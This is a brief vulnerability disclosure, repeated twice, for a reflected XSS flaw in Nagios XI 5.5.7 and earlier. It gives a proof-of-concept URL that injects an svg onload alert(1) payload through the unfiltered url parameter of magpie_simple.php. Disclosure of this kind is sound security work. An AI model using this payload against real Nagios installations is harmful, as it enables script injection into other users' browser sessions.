### Nagios XI <=5.5.7 Reflect XSS#1 The url parameter of magpie_simple.php is not filtered, resulting in an XSS vulnerability. #### Affected Version * Nagios XI <= 5.5.7 #### Proof of concept ``` http://192.168.177.130/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_simple.php?url=111%22%3E%3Csvg%2Fonload%3Dalert(1)%3E ``` 
### Nagios XI <=5.5.7 Reflect XSS#1 The url parameter of magpie_simple.php is not filtered, resulting in an XSS vulnerability. #### Affected Version * Nagios XI <= 5.5.7 #### Proof of concept ``` http://192.168.177.130/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_simple.php?url=111%22%3E%3Csvg%2Fonload%3Dalert(1)%3E ``` 